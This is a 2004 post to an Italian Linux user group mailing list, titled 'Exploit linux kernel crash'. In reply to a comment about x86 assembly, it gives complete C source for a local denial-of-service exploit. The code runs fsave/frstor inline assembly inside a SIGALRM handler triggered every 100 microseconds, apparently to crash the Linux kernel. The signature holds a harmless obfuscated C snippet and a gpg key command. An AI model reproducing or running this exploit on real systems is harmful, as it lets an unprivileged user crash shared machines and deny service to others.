[Linux-Biella] Exploit linux kernel crash

LeOS linux@ml.bilug.linux.it
Wed, 16 Jun 2004 14:40:57 +0200


On Wed, 16 Jun 2004 14:36:53 +0200
PaulTT <paultt@bilug.linux.it> wrote:

> LeOS wrote:

> ohhh, e' in asm per x86.... ;-)
> (vabbeh, lo so che forse basta riscriverlo per ppc, non ho esaminato
> il codice, che non ne avevo voglia)

toh :)

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void malignuz(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, malignuz);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
  write(1, ".", 1);

return 0;
}



-- 

main(){int n=-1;char c[]="qiruAbhjrc)fbfln#]g";
while(c[n]!='g'){putchar(c[++n]-'\05'+n);}return 0;}


Linux Registered User #135079

public gpg key: gpg --keyserver pgp.mit.edu --recv-key 5811D15E